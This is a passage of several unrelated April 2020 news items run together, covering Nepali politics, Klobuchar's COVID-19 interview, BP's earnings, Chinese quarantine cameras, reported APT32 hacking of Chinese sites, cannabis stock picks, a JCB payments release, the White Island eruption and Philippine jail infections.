vulnerability, Prime Minister Oli brought in two controversial ordinances unrelated to the management of the Virus and he had to withdraw them in five days hurriedly when he found his own senior leaders and the regular opposition were up in arms against the ordinances. The move was certainly against Constitutional propriety and is an assault on democracy. In the process there was a widespread feeling that Oli was instrumental in kidnapping one of the Opposition MPs to Kathmandu from Janakpur to engineer a split in the Terain Samajbadi Party. It looks that Olis poor health, factions within his party and the devastating blow of the Wuhan Virus are all taking a toll on his ability to lead the country as he was doing before. It is still not clear why Oli took such a risk - Was it to consolidate his own position in the midst of the pandemic when the country is in disarray or did he feel threatened about his own leadership in the Government and the Party? At any rate one cannot but agree with Siddhi B. Ranjitkar of Kathmandu Metro that Olis Act was like that of the famous mythical character Bhasmusara who ended up hurting himself in the process in his attempt to destroy everyone else! This drama concerns two ordinances- one related to the political parties and the other on the Constitution Council. The ordinance on the political parties sought to ease the process of splitting and forming of a new political party by allowing 40 percent of either the Central Committee or that of the Parliamentary members to take such a decision. Earlier both would be necessary for the formation of a new party. The second one related to the functioning of the Constitutional Council which consists of six members namely, the PM in the chair, with the Chief Justice, Speaker, Deputy Speaker, Chairman of the National Assembly and the Leader of the Opposition. The Council makes appointments to Constitutional bodies like the Commission of Investigation of Abuse of authority, National Human Rights Commission and even Ambassadorial appointments. It is a powerful one. The earlier provision was that the appointments should be unanimous and the present ordinance sought to make it easier by accepting decisions by a simple majority. The ordinances were approved by the President on 20th of April with great alacrity without raising any objection or query and were also approved to be withdrawn with the same alacrity on the recommendation of the Cabinet on the 24th. This five-day drama was totally unnecessary and only showed Olis desperation in the present political context in Nepal. The one on the party split was triggered by an imminent split in the Samajbadi party that had seventeen members in the Parliament. One Renu Yadhav of SP along with five others were already in Kathmandu to prepare for the split and one other MP Surendra Yadav was allegedly (forced?) brought to the Capital overnight to join the group to proceed with the split. It is alleged that the kidnapping of the MP from Janakpur was with the approval of PM Oli. To frustrate the split, the leaders of the Samajbadi Party led by Baburam Bhattarai smartly moved and moved quickly to merge the party with the RJP just hours before the split. The RJP had 16 MPs and the SP 17 MPs and the Renu Yadav and company could not have made forty percent in the merged party of 33 MPS! The question is- Why did Oli try to split the SP? Was it to move for Constitutional Amendments which would need the support of either the SP or the RJP. Certainly not as Oli from the beginning had no intention of moving for Constitutional amendments to satisfy the demand of the Madhesi Groups. The Madhesi Groups both the SP and the RJP and more particularly the former, foolishly believed that Oli was sincere only to be disappointed finally! Its Chief Upendra Yadav was happy with his ceremonial post of Deputy Prime Minister and could not care less about justice to the Madhesis. In the NCP, it is estimated roughly that 121 Mps belong to the former UML and 53 belong to the former Maoist Party. One reason given is that if the Maoist faction was to leave the Ruling party, Oli would need the support of other minor parties for a simple majority to continue and hence his desperate bid to get a new party to split out of the existing two Terain Parties. But this does not fully explain this foolish move as there was no immediate danger of a split within the Ruling Party. There is also a presumption here that other leaders like Madhav Nepal and Bam Dev Gautham of former UML would stick with Oli. This may not happen. It is said that the Party Secretariat consisting of nine members first met and discussed about the ordinance. Dahal was of the view that the ordinances should be withdrawn. Oli was defiant and had said that the ordinances have already been approved by the President. Later in the day, six of the members of the Secretarial separately met at Bam Dev Gauthams residence to discuss the developments and demand a meeting of the Standing Committee to discuss the issue. This perhaps unnerved Oli to quickly withdraw the ordinances. The other ordinance on Constitutional Council was necessitated by the fact that the Opposition leader Sher Bahadur Deuba never agreed to any of the suggestions of the Government in the Council and many Constitutional posts remained vacant due to differences and lack of unanimity. In fact it is said that Deuba never approved any of the suggested appointments. The Ordinance was supposed to remove this impediment by letting the decisions to be accepted by a simple majority and not by all unanimously as was required now. Oli has learnt a lesson but it is doubtful whether he would give up his penchant for taking unilateral decisions without consulting his senior colleagues! After the drama of the two ordinances, it could be safely said that the once dominant position of Oli both within the Government and the Party is getting shaky. Minnesota Sen. Amy Klobuchar and her husband's experience with coronavirus was like every other American's, the Minnesota senator said on ABC's "The View" on Tuesday. "It's so scary how this disease is going to take a turn. I kept calling him. I was in Minnesota. He had a temperature," said Klobuchar, who has been actively campaigning for former Vice President Joe Biden." I found out what it's like for so many families, you can't hold the hand of your loved one. The health care workers are holding the phone up to their ear and for so many people the story is worse, that don't take a turn for the better, the health care workers are the last one with their husband or wife or mother or dad. That's the hardest thing about this disease. It is so incredibly lonely, and I'm just so happy he's back." Klobuchar announced in an official statement late last month that her husband, John Bessler, who is 52 and has no underlying conditions, had been released from the hospital and was recovering at home after testing positive for the coronavirus. PHOTO: Sen. Amy Klobuchar speaks with 'Good Morning America' about the coronavirus outbreak, March 24, 2020. (ABC News) He had been suffering from a bleeding cough and "dangerously low" oxygen levels, the Minnesota senator told Good Morning America host Robin Roberts in an update after he was diagnosed. (MORE: Sen. Amy Klobuchar shares update on husband, after he was hospitalized for coronavirus) Klobuchar said she was also told that she would not qualify for a test. Bessler urged Americans to continue following social distancing practices, because someone could have the disease, be asymptomatic and spreading COVID-19 to others. "This can really impact people who do have those underlying health conditions as well as people who really don't," Bessler said. "And so you just don't know. It's sort of a lottery, this coronavirus, in terms of what your symptoms are going to be like. So people just need to follow the rules, make sure they're engaging in that social distancing even though it's hard. Make sure that other people don't get infected and so you flatten that curve." Story continues Klobuchar said her husband is now going to donate plasma, since he has the immunity, and participating in a study which would use the plasma from those who tested positive. Whoopi Goldberg asked Klobuchar and her husband about their feelings about some of President Trump's recommendations to Americans amid the pandemic. "So many people watch the president. He's the leader of our country, and when you see him, whether he's joking or not, literally looking at people and saying, basically implying, 'You can chug bleach or, you know, maybe we can inject some light into you,' that is the exact opposite of what a leader should be doing," Klobuchar told Goldberg. "It's also what he hasn't done, and that's what's starting to become glaringly clear as you see the governors taking the lead in each state, but not every state has a mayo clinic like we do. You've got to have a national testing strategy and get those national tests out to every state in the country," she said. Co-host Sunny Hostin asked Bessler and Klobuchar what they recommend for those who may be getting stir crazy under their stay-at-home orders."We've got to be really vigilant about this because this doesn't take the weekends off. The virus is there and it's highly transmissible," Bessler said. "I think stepping back and being grateful for everyone around you, and calling those seniors that you know. As different as it is in visiting like my own dad, remembering to call, skyping in, making sure people get their groceries, and thinking about your day in a different way, and making a plan for your day that involves helping other people, as hard as your own situation might be," Klobuchar said. PHOTO: Sen. Amy Klobuchar joined 'The View' with her husband John Bessler. (ABC) Klobuchar said that same thoughtfulness may be missing from the White House as the nation grapples with the coronavirus pandemic. "I just keep going to the fact that we need both confidence and compassion in the White House right now," Klobuchar said. "When you look back in time, I think back to Donald Trump at the Republican convention when he said, 'I alone can fix this.' Remember that? He was talking about government. Now you fast forward to this major international crisis and he's saying, 'I'll take a back seat to the governors.'" Hostin asked Klobuchar if she thinks some of the president's advisers on the coronavirus task force, namely Dr. Deborah Birx, are legitimizing some of President Trump's inaccurate claims during the almost daily White House briefings. "She's someone that has worked under Republican and Democratic presidents and has a lot of credibility, she and Dr. Fauci. You know, do I agree with everything they say every day when they're responding to Trump? No," she said. "But do I think it's important that they're there and we have some medical sanity, and we have people that are actually trying to get the facts out? That is so important. To me that goes beyond politics." Co-host Meghan McCain asked what Klobuchar thinks Democrats need to do to give Republicans "understanding and reassurance" that they can take the lead on something like an economic downturn in light of the pandemic. "I think this is about coming together and not blaming people. We were able to successfully pass legislation by working across the aisle. You know I do that all the time and I think that's got to be a big part of this," Klobuchar responded. "So we need to do this together with a long-term plan and compassion and confidence. I believe we can do that. The answer is the election." Klobuchar has been a prominent supporter of former Vice President Joe Biden since her exit from the race, saying his economic experience is what the country needs. "That's why I think Joe Biden would be such an amazing president, because he's someone that has actually overseen major government programs. He's someone that made sure the money got where it was supposed to be when we had that recovery act during the last economic downturn, and he's someone that certainly has compassion for the people of this country," said Klobuchar, a former 2020 presidential contender who has been considered by many to be on the shortlist for a possible Biden running mate. In a recent interview with ABC News George Stephanopoulos on "This Week," Klobuchar said amid the novel coronavirus pandemic, the country is suffering from a lack of national leadership in the White House. (MORE: Amid pandemic, country lacks national leadership: Sen. Amy Klobuchar) "Like every state in the country, George, we are suffering from one important thing, and that is a lack of national strategy," Klobuchar told Stephanopoulos. "You know, we can tune out this presidents rants about chugging bleach, but we can't tune out the fact that we have a lack of protective equipment, that we do not have enough testing." During the 2020 election cycle, vote-by-mail expansion has been a topic of contention as states scramble to troubleshoot voting during a pandemic. The quarrels center on expanding mail voting as states adjust to the unprecedented coronavirus crisis, particularly in key battlegrounds that could tip the scales of the upcoming presidential contest. Klobuchar is co-sponsoring a bill to set aside federal funding to expand vote-by-mail programs. Sen. Amy Klobuchar and her husband, who is recovering from COVID-19: The disease is 'incredibly lonely' originally appeared on abcnews.go.com BP's new chief executive has said the oil industry has been impacted 'by supply and demand shocks on a scale never seen before' as his company saw first-quarter profits decline to $800million. However, it will compensate shareholders with bigger dividend payments. Bernard Looney, who took charge of BP in February, said the firm had taken numerous cost-cutting measures to improve the firm's finances,' which has been severely affected by both a considerable drop in the price and demand for oil. These include raising its liquidity levels by $10billion to $32billion, reducing capital spending by 25 per cent this year, and slashing cash costs by $2.5billion from 2021. Bernard Looney took over as BP chief executive in February following Bob Dudley's retirement It will still reward shareholders with a dividend payment of 10.5 cents per share though, which is a modest 2.4 per cent larger compared to the first quarter last year. The last time the corporation did not give out dividends was the 2010 Deepwater Horizon oil spill in the Gulf of Mexico, which has cost the company tens of billions of dollars in compensation and clean-up charges. It led to the resignation of chief executive Tony Hayward and his replacement by Bob Dudley, who steered the business through a difficult few years, but returned it to profitability. He retired two months ago to be succeeded by Bernard Looney. The oil giant says the coronavirus pandemic, as well as 'pre-existing supply and demand factors, have resulted in an exceptionally challenged commodity environment.' Oil has experienced an exceptional fall in prices, but also an enormous fall in demand resulting from the introduction of coronavirus-related lockdowns by governments that have, in turn, led to a massive reduction in car and plane travel A barrel of Brent Crude has sunk in price by about 70 per cent since early January to be about $20, while West Texas Intermediate (WTI) even fell to a record minus $40.32 last week. Petroleum firms across the world have had to implement substantial cost-cutting measures to offset the loss in income. This has not just been due to the exceptional fall in prices, but also the enormous fall in demand resulting from the introduction of coronavirus-related lockdowns by governments that have, in turn, led to a massive reduction in car and plane travel. BP is expecting second-quarter demand to fall in both upstream and downstream markets Looney said 'this extraordinary time for the world demands extraordinary responses...BP, like many other companies, is stepping up and extending a helping hand to those in need. We do it not because it is expected of us but because we want to. That is consistent with our purpose.' The multinational firm is still expecting to complete the $5.6billion sale of its Alaska business to Hilcorp Energy in 2020 which includes the company's Prudhoe Bay Oil Field, home to North America's largest oil field. It further expects second-quarter demand to fall in both its upstream and downstream markets. It will also make its annual $1.2billion payment related to the Deepwater Horizon oil spill. Due to the massive fall in the oil price, it is now aiming to have a breakeven price of $35 per barrel of oil next year, which is $21 lower than its 2019 breakeven price. Chief financial officer Brian Gilvary said the firm was encountering the 'unprecedented effects of demand destruction and price impacts that can be seen in these results are expected to continue through the second quarter.' The impacts may not just continue, but the situation could significantly sour over the next three months. The last quarter ended before the oil price had time to collapse to 22-year lows. Shares in BP fell in the morning before it rose to be 0.1 per cent above its opening value to 314.2p around lunchtime. In order to make sure people exposed to the coronavirus are obeying lockdown orders, Chinese authorities have been installing security cameras aimed directly at residents doors and, sometimes, inside their homes. Various Chinese provinces have been installing the cameras over the past two months, CNN reports. By doing so, theyre effectively expanding the countrys already massive surveillance network to include 24-hour feeds of residents during intimate moments. Digital Health Code China has already digitized much of its pandemic response with an app that informs people if they were exposed to sick people and whether they need to go into isolation. Now, CNN reports that officials justify the invasive new cameras as a way to further automate the process. According to a February post on Weibo, the government of Nanjing described the cameras as something that helped save personnel expenditures and increased work efficiency. Honest Thoughts Based on social media posts and personal accounts, CNN reports a mixed response among the populace, though its hard to get a real feeler since China heavily censors critical social media posts. But some clearly hate the move, like Beijing resident Ian Lahiffe, who told CNN that the cameras are an incredible erosion of privacy. It just seems to be a massive data grab, Lahiffe added. And I dont know how much of it is actually legal. Since January there have been raids from Vietnam against Chinese government sites. The Ministry of Emergency Management and Wuhan Municipality are targeted. A group known as APT32, active since 2012, behind the cyberattack. Experts believe there are links to the Hanoi government or the Vietnamese Communist Party. Hanoi (AsiaNews / Agencies) - Targeted attacks since last January against Chinese government sites, to harvest useful information to counter the imminent spread of the new coronavirus in the country. According to some experts, there are (also) hackers behind the strategy implemented by Hanoi in the fight against Covid-19, which unlike Europe and the United States - and other Asian nations - has proven successful in terms of containment. Cyber security expert FireEye reported that "suspected Vietnamese APT32 agents launched a series of intrusion operations against Chinese targets [...] to gather intelligence about the crisis" from January to April. The ministry for emergency management and the municipality of Wuhan are targeted. Hanoi's reply was immediate, speaking through the spokesman of the Ministry of Foreign Affairs Ngo Toan Thang talking about "unfounded accusations". However, doubts remain. APT32 first emerged in the news in 2012, with a series of attacks on Chinese, then Vietnamese and Philippine entities. In 2016, another episode confirmed a targeted operation by the group "serving Vietnamese state interests". In a report published in May of the following year, FireEye speaks of "cyber espionage group, aligned with" Hanoi. In November last year, when the first signs of atypical pneumonia emerged in Wuhan, some governments including the United States and Vietnam itself deployed intelligence agencies to collect information and trace a possible extent of the pandemic. And what impact it would have on their respective countries, considering the traditional lack of transparency on the part of the Chinese government which kept essential information hidden until at least the end of January. Analysts and experts believe it is plausible that the Vietnamese government has mandated several agencies to collect information on the new coronavirus. Targeted messages on the net, posts on Weibo (the Chinese Facebook), blogs and online information sites. Vietnam would also have had access to "confidential" intelligence messages through routine links and exchanges. FireEye's first analysis shows that on January 6, computer agents in the pay of Hanoi hacked into Chinese government sites. These attacks continued without interruption for the first three months of the year, reinforced by the omissions and lack of transparency shown in the early stages of the pandemic from Beijing. Developments in recent weeks lead experts to believe that APT32 is, in reality, a unit of the Vietnamese ministry of communications and information or another department. Regardless of the ministry of reference, for analysts it is an emanation of the government or the leaders of the Communist Party of Vietnam. The Philippine government on Tuesday publicly defended its military chief for writing to Beijings ambassador to Manila to ask for help procuring a Chinese-developed anti-COVID-19 drug, which has not been approved here. In a letter to Chinese envoy Huang Xilian, Gen. Felimon Santos Jr. said the drug Carrimycin had helped him recover from the potentially deadly coronavirus, and he intended to give the drug to my close friends who have also been infected. On Tuesday, Philippine Defense Secretary Delfin Lorenzana said he spoke with Santos and he saw nothing wrong with the generals actions. Santos later withdrew his request to the ambassador upon learning that the Philippine Food and Drug Administration (FDA) had not approved the drug for use in the Philippines, Lorenzana said. The defense secretary acknowledged that Santos letter may have been out of place. But, Lorenzana said, Santos had not violated any regulations nor imperiled the security of the country. According to the defense secretary, Santos went through fear and anguish of being infected with a deadly virus and the general saw nothing wrong with wanting to help those infected with the coronavirus. In his letter, which has circulated widely on social media and caused a stir, the head of the Philippine armed forces did not name the friends he wanted to help in getting the drug for them, but said he had been cleared of the disease after testing positive for COVID-19 last month. With clearance from medical doctors, I took Carrimycin tablets given to me by a Chinese friend with a dosage of two tablets a day for six days, Santos wrote, adding that he been proclaimed negative since early this month and eventually declared recovered. Santos also asked for the ambassadors assistance in the procurement of 5 boxes of Carrimycin tablets which is available only in China. Carrimycin is not approved for use in the Philippines. Santos would not name the doctors he claimed had advised him to use it. On Tuesday, the number of coronavirus infections in the Philippines rose to 7,958, with 181 news cases reported. National health authorities also recorded 19 more deaths from the virus, taking the toll in the country to 530. Globally, more than 3 million have been infected by COVID-19 and more than 212,000 have died, according to data compiled by disease experts at U.S.-based Johns Hopkins University. Duterte discusses restrictions Meanwhile for weeks, the main Philippine island of Luzon has been under a government-ordered lockdown aimed at containing the spread of the coronavirus. But in an address to the nation on Monday night, President Rodrigo Duterte spoke about potentially easing restrictions linked to the COVID-19, according to media reports. While others are still on lockdown, we might open partially, Duterte said without specifying details, Bloomberg News reported. On Tuesday, presidential spokesman Harry Roque said any lifting of restrictions in and around the capital Manila would not occur before May 15. Also this week, the World Health Organization (WHO) advised the Philippines to start setting up systems to expedite the processing, accreditation, and the national deployment of a coronavirus vaccine, should one be developed, according to another report. Because it could take between 12 to 18 months for a COVID-19 vaccine to come onto the market, according to the WHOs country chief , the Philippines should for the time being come up with a plan for speeding up the vaccines national rollout, the Star newspaper in Malaysia quoted him as saying. We encourage the country to prepare its regulatory processes, in terms of the assessment and evaluation of the vaccine to help fast-track the registration of the vaccine, said Socorro Escalante, the WHO chief in the Philippines. The government should also have a vaccine strategy, which would prioritize the most susceptible, such as the health care workers and those with comorbidities, he said. As the U.S. economy looks to reopen in multiple states, a lot of American cannabis stocks are still trading near multi-year lows despite limited store closures. The cannabis sector got a major seal of approval with most stores remaining open as states unanimously approved dispensaries as essential stores. The sector could get a further boost from the need for tax revenues as the whole U.S. tax revenues are down substantially during March and April with the economy shutdown. States from Arizona to Florida to New York could look towards approving recreational cannabis as a way to grab more tax revenues while the Federal government may finally move forward with some real regulations. The government could either approve cannabis or at least provide the companies with access to the banking system and tax relief. The negative ramifications for the cannabis sector are the tighter credit dynamics, but the large multi-state operators (MSOs) could benefit from weaker players being forced out of business. In addition, a lot of sector leaders are wrapping up or cancelling major deals placing the sector in a more researchable position providing more confidence for investors. Clearly, the market didnt like the uncertainty in the sector with large deals faltering and taking additional months to close. Weve delved into these three MSOs with positive outlooks for a strong June quarter and catalysts for higher stock prices in 2020. Using TipRanks Stock Comparison tool, we lined up the three alongside each other to get the lowdown on what the near-term holds for these MSO players. Harvest Health & Recreation (HRVSF) One of the most disappointing MSOs over the last year has been Harvest Health & Recreation. The company ended 2019 with major plans to acquire Falcon and Verano that both collapsed sending the shares to new lows in a weak stock market. While these deals were supposed to push the MSO into the top tier of cannabis stocks, the company is still on path to top $50 million in quarterly sales during the June quarter. Even better, Harvest Health is positioned in mostly medical marijuana states providing tons of optionality when recreational cannabis gets approved in either Arizona, Florida or Pennsylvania. Story continues A lot of the major deals in the MSO space kept companies like Harvest Health and shareholders alike in limbo. With multiple deals on the table, the valuation was always questioned due to the future share issuance and the unknown complete picture of the new entity. For Q4, the cannabis company reported sales of only $37.8 million and guided towards Q1 growth at a similar rate as the just reported 14% growth in the prior quarter. Harvest Health should top $43 million in the already ended quarter and be on pace to approach $50 million in the current quarter. The additional revenues from a full quarter of Arizona Natural Selections will boost Q2 results. Harvest Health ended the quarter with 35 open dispensaries with a license footprint above 100 providing a substantial growth path. In total, Harvest Health has over 400 million shares outstanding now for a market cap only in the $240 million range while revenues should top $200 million this year before any future benefits of recreational cannabis in key states like Arizona and Florida. Most of the Street have not given up on the company just yet, as TipRanks analytics showcase Harvest Health as a Strong Buy. Out of 4 analysts tracked in the last 3 months, 3 are bullish on the stock, while 1 remains sidelined. With a potential upside of over 400%, the stocks consensus target price stands at $4.37. (See Harvest Health stock analysis on TipRanks) Curaleaf (CURLF) Curaleaf remains the biggest unknown cannabis company in the world. As the Grassroots deal closes here shortly, the company should have completed a quarter where pro-forma sales should approach $150 million due to recreational sales in Illinois. While most of the large Canadian cannabis companies have retrenched, Curaleaf continues to expand despite hiccups such as the disappointing Select deal. The resolution of the vape issues should boost wholesales vape revenues going forward and the closure of the Grassroots deal gives the cannabis giants a strong position in the soaring recreational market in Illinois plus expanded access to Pennsylvania. For Q4, Curaleaf reported official sales of only $82 million with guidance for up to $100 million in the current quarter knowing the Grassroots deal wouldnt close on time. As mentioned, the March quarter should approach $150 million in pro-forma revenues with an even bigger boost in the June quarter as Curaleaf opens more stores. After these deals, Curaleaf will have at least 650 million shares outstanding placing the market cap in the $2.6 billion range here. The company had plans for pro-forma sales in the $1 billion range this year and those numbers will depend highly on a rebound in Select brand vape sales and the Grassroots deal closing. As with these other MSOs, Curaleaf recently closed a deal in just a week for 3 dispensaries in Connecticut. The market will find the certainty of these tuck in deals more appealing going forward. Overall, Wall Street loves Curaleaf stock, considering most voices are betting on this cannabis producer. TipRanks analytics exhibit Curaleaf as a Strong Buy based on 6 Buy ratings and 3 Holds. The 12-month average price target stands at $9.74, marking a 110% upside from where the stock is currently trading. (See Curaleaf stock analysis on TipRanks) Trulieve (TCNNF) Another underappreciated cannabis play is Trulieve Cannabis. The stock has bounced off the lows back above $9, but Trulieve traded above $13 back in December and the company reaffirmed strong numbers only a couple of weeks ago. The MSO has incredible expectations for 2020 adjusted EBITDA of $150 million. While the major Canadian companies are struggling to even reach EBITDA positive levels, Trulieve reported a 22% sequential boost in quarterly EBITDA to $45 million in the December quarter. The company is mainly just a medical cannabis provider in Florida, so the $400 million revenues estimates for this year is a sparse reflection of the ultimate revenue potential. Considering Trulieve has already confirmed 2020 numbers into April, the stock is de-risked having likely survived the worst of the COVID-19 crisis while benefitting from medical cannabis being labeled an essential product. With a market cap of only $1 billion, the stock is truly underappreciated. It's worth pointing out that Wall Street analysts are unanimous in their endorsement of the shares. Trulieve has been endorsed with "buy" ratings by all five of the analysts who have voiced an opinion on the stock over the three months. Meanwhile, the consensus estimate of analysts polled is that Trulieve shares should rise a 68% (68.61% to be precise) to hit $17.35 within a year. To find good ideas for cannabis stocks trading at attractive valuations, visit TipRanks Best Stocks to Buy, a newly launched tool that unites all of TipRanks equity insights. TOKYO, Apr 28, 2020 - (ACN Newswire) - JCB Co. Ltd. ("JCB"), Japan's only international payment brand, is leveraging Asia's leading fintech player, Soft Space Sdn. Bhd.'s ("Soft Space") technological expertise to develop the Tap on Mobile programme that capitalises on the wide availability of Android smartphones equipped with NFC (near-field communication).JCB Contactless card or mobile device can be used at any merchants that support JCB Contactless. Aimed at driving greater contactless acceptance among JCB acquirers worldwide, JCB has developed the Tap on Mobile programme which will be used to govern all aspects of contactless payment transactions securely made on NFC-enabled Android smartphones, off the shelf. This programme is secure and interoperable based on EMV and PCI standards.The initiative to develop Tap on Mobile programme is a significant milestone for JCB because it believes that the Tap on Mobile solution is the future of payments, and is poised to help JCB significantly grow its acceptance business globally going forward."We are pleased to be working with Soft Space on this Tap on Mobile programme," said Tac Watanabe, the Executive Vice President for JCB's Brand Infrastructure and Technologies Department. "The Tap on Mobile is secure yet convenient for our customers, and given the growth of contactless payment transaction and consumer smartphones worldwide, we believe that the Tap on Mobile will be the key initiative for JCB to drive our contactless agenda to grow globally.""We are privileged to be working on JCB's Tap on Mobile programme," said Joel Tay, Chief Executive Officer of Soft Space. "With businesses being constantly challenged by changing global economic scenarios, Tap on Mobile is a tool that can aid them through such times by offering them an innovative, cost-effective and secure payment solution."The Tap on Mobile programme builds on the expertise gained through Soft Space's development of "Fasstap", world's first NFC-enabled payment solution with PIN verification, certified by card brands in 2018[1] and subsequently 2019[2].Tap on Mobile solution has been developed by incorporating JCB's contactless kernel - the engine that powers contactless payment transactions. Engaging Soft Space's technological expertise, the solution has met JCB's necessary standards and approvals. This ensures that payment data transmitted is secured from potential leakage, thus reducing the risk of fraudulent activities.With Tap on Mobile programme in place, JCB can offer its acquirers a new, innovative cashless payment option who will in turn, adopt and deploy as a cost-effective payment solution to their merchants.[1] Businesses can Accept MyDebit Card Payments Using Only Mobile Phones https://paynet.my/press-release/2018/PayNet-Fasstap-Pilot-Launch.pdf[2] Maybank Tap2Phone offers greater mobility for merchant mobile payments https://www.maybank.com/en/news-support/news.pageAbout Soft SpaceFounded in 2012, Soft Space is a leading Fintech player in the APAC region headquartered in Kuala Lumpur, Malaysia. Soft Space simplifies the complexity of financial infrastructure and creates value-added features for businesses to expand their business growth. With over 20 financial institutions in 11 countries adopting its payment solutions, Soft Space is supported by MDEC's Global Acceleration and Innovation Network (GAIN) programme and received financial support through MIDA's Domestic Investment Strategic Fund in 2012. In 2018, Soft Space ranked 66th out of 1000 companies in the Financial Times 'FT 1000: High Growth Companies in Asia Pacific' Special Report. For more information, please visit https://www.softspace.com.my/Brenda LimCommunications ExecutiveTel: +603 7494 1222Email: brenda.lim@softspace.com.myAbout JCBJCB is a major global payment brand and a leading credit card issuer and acquirer in Japan. JCB launched its card business in Japan in 1961 and began expanding worldwide in 1981. Its acceptance network includes over 33 million merchants and over a million cash advance locations in the world. JCB cards are now issued in 24 countries and territories, with more than 136 million cardmembers. As part of its international growth strategy, JCB has formed alliances with hundreds of leading banks and financial institutions globally to increase merchant coverage and cardmember base. As a comprehensive payment solution provider, JCB commits to providing responsive and high-quality service and products to all customers worldwide. For more information, please visit https://www.global.jcb/en/Kumiko KidaAssistant Vice President, Corporate Communications DepartmentTel: +81 3 5778 8353Email: jcb-pr@jcb.co.jpSource: JCBCopyright 2020 ACN Newswire . All rights reserved. Tourists have opened up about helping badly injured survivors after the sudden eruption of the White Island volcano. Twenty-one people died and dozens more were injured when the volcano erupted off the coast of Whakatane on New Zealand's North Island on December 9. Forty-seven people were trapped on the island when the volcano blew, sending ash, rocks, debris and 300C steam into the air at a rate of more than 100 metres per second. Sightseers were among the first responders after the eruption and have described the terrible burns and injuries they tried to treat after the tragic disaster. Brazilian backpacker Aline Kauffmann was on tour boat The Phoenix when the volcano erupted. Heroic tourists have described helping victims suffering from agonising burns after the White Island volcano erupted last year (pictured) 'Some people were quiet, very quiet, some people were screaming, some people were crying,' Ms Kauffman told the ABC's Four Corners. Geoff Hopkins and his daughter Lillani offered to help victims as they are both qualified to give first aid. The pair were stunned at the scale of burns they saw after the eruption. 'First thing that I saw was a survivor who came on the back of the boat. She was just burnt like I've never seen burns before,' Mr Hopkins said. 'The most severe burns were ones that had no skin left. It would just kind of drip off them like wax,' Ms Hopkins said. 'That's something that I never thought I'd ever see, and something I hope I never have to see again.' Geoff and Lillani Hopkins (pictured on White Island minutes before the eruption) have described treating patients horrible injuries after the tragedy More than 18,000 tourists visit the White Island volcano each year, with Mr Hopkins recalling there was no briefing for their travel group on what to do in the case of an eruption. Six days before the eruption on December 3, volcanologists raised the alert level of White Island to level two, which is the most dangerous level a volcano can be classified as without erupting. This was due to an increase in tremor levels, gas and unrest at the site. A similar eruption occurred at White Island in 2016, though it was at night and no one was on the island. Victims of the White Island volcano tragedy are suing Royal Caribbean in the wake of the deadly eruption. A rescue boat arrives at White island after the eruption, which launched ash, steam and rocks at more than 300 degrees out of the crater Carribbean Cruises are being sued for negligence after 38 passengers from the Ovation of the Seas (pictured on return to Sydney) were touring the volcano when it erupted Emergency services help an injured patient at the Whakatane Airfield after being airlifted from White Island after the eruption The cruise operator had 38 passengers on the Ovation of the Seas cruise ship on a tour of the volcano when it erupted, with 19 of the 21 deaths coming from the tour group. Passengers injured in the disaster as well as family of the deceased are now pursuing legal action against the company for alleged negligence, breach of Australian consumer law and breach of contract. Rita Yousef, whose law firm Stacks Goudkamp is pursuing damages, said the deaths could have been avoided. 'It was completely preventable. It shouldn't have happened,' she told ABC News. Ms Yousef claimed the brochure given to passengers did not prepare them for the risk of visiting the island. Volcanologists had upgraded the volcano risk status to level two six days before the eruption (pictured), which is the highest classification level a volcano can be without erupting 'They were told in the brochure that all they needed to do if they were attending this tour was to wear enclosed shoes,' she 'It's had an amazingly horrific impact. People have lost loved ones. 'They had to witness them in hospital having been completely burnt, being completely unrecognisable from their horrific burns, and people are having to somehow pick up the pieces.' Royal Caribbean declined to comment on the case when contacted by Daily Mail Australia. 'Following the eruption, Royal Caribbean have focused on providing care and support to passengers, their families and crew that were impacted by this event,' the company said. 'Our thoughts remain with the victims and their families. The details of the tour are the subject of two separate investigations in New Zealand which we will be fully cooperating with and we are unable to provide further details at this time.' This obituary is part of a series about people who have died in the coronavirus pandemic. Read about others here. Norman Gulamerian was a successful businessman and an artist, but his life was shaped by his love for an exuberant young widow and her five children. He met Mary Alexander briefly after a funeral in St. Louis in 1963. An optimistic, can-do Julie Andrews type she even sang Mrs. Alexander was raising her children (Christopher, Rebecca, Seth, Eve and Jennifer) on her own after her husband had died of a heart attack. When Mr. Gulamerian, who lived in New York, met her again two years later, he was taken by the whole package the lively children tumbling over one another not to mention Mrs. Alexanders dark beauty, her joyous light brown eyes and the way she threw her head back when she laughed. Metro Manila (CNN Philippines, April 28) A total of 195 prisoners nationwide have contracted COVID-19, the Bureau of Jail Management and Penology (BJMP) bared on Tuesday. At a virtual House Defeat COVID-19 Committee meeting, BJMP chief Allan Iral said of the 373 persons deprived of liberty (PDLs) tested, 195 turned out positive for the coronavirus, with no reported recoveries. Cebu City Jail has the bulk of the cases with 185, the Quezon City Jail has nine, while one inmate has been infected at the Mandaue City Jail. Iral also revealed that 38 BJMP personnel have also tested positive for the virus. "We are targeting mass testing of PDLs and personnel in the compromised BJMP facilities while sustaining efforts to maintain other facilities COVID-19-free," he said. Last week, the Supreme Court reminded first and second level courts to fast-track the evaluation of detainees who may be set free based on certain parameters to help decongest jails in the country. Court Administrator Jose Midas Marquez previously issued a circular directing the low-level courts to release accused individuals who have already spent the minimum jail time prescribed in the charges they are facing while waiting for a verdict. Lamar University President Kenneth Evans has withdrawn his application for chancellor at Southern Illinois University, although that happened after the schools faculty association recommended that the other two finalists be considered for the post. The SIU faculty president told the student newspaper that Evans was more of a top-down administrator while the other two candidates would collaborative leaders who would promote shared governance on campus. In other words, the SIU faculty preferred a new chancellor who would be more considerate or compliant with their views. Evans did have a disagreement with some of Lamars faculty over funding last year, but those kinds of disputes are not rare in academia. As with any large institution, it often seems theres never enough money to go around, so those who came up short will not be pleased. Its worth noting that Evans record was regarded by the SIU search committee as impressive enough to make him one of the three finalists for chancellor there after getting applications from all over the country. Regardless of SIUs deliberations, Lamar University remains in good hands with Evans. In the seven years he has been there, the school has made progress in several key areas. Enrollment, one of the most important measures, had been steadily increasing and often set new records. As a Lamar spokeswoman also noted when Evans application with SIU was announced, He has created a more collegiate atmosphere at LU, overseeing major renovations of the Setzer Student Center, the Quadrangle and the construction of the 85,000-square-foot Science and Technology Building. Evans also led Lamar through two natural disasters Harvey and Imelda and now the campus shutdown caused by the coronavirus. That kind of guidance is important, because theres no playbook for these challenges. The university president has to assess damage, oversee repairs, come up with funding and keep up student and faculty morale. Lamar will benefit from a president with that kind of experience going forward with the coronavirus. The university is hoping to reopen for the fall semester, though that depends on the progress of the virus. But even under a best-case scenario, Lamar will see a drop in enrollment because of local economic disruption and travel barriers for foreign students. When the Legislature convenes in January, there will be less funding for state colleges because of the same financial challenges. This would be a tough 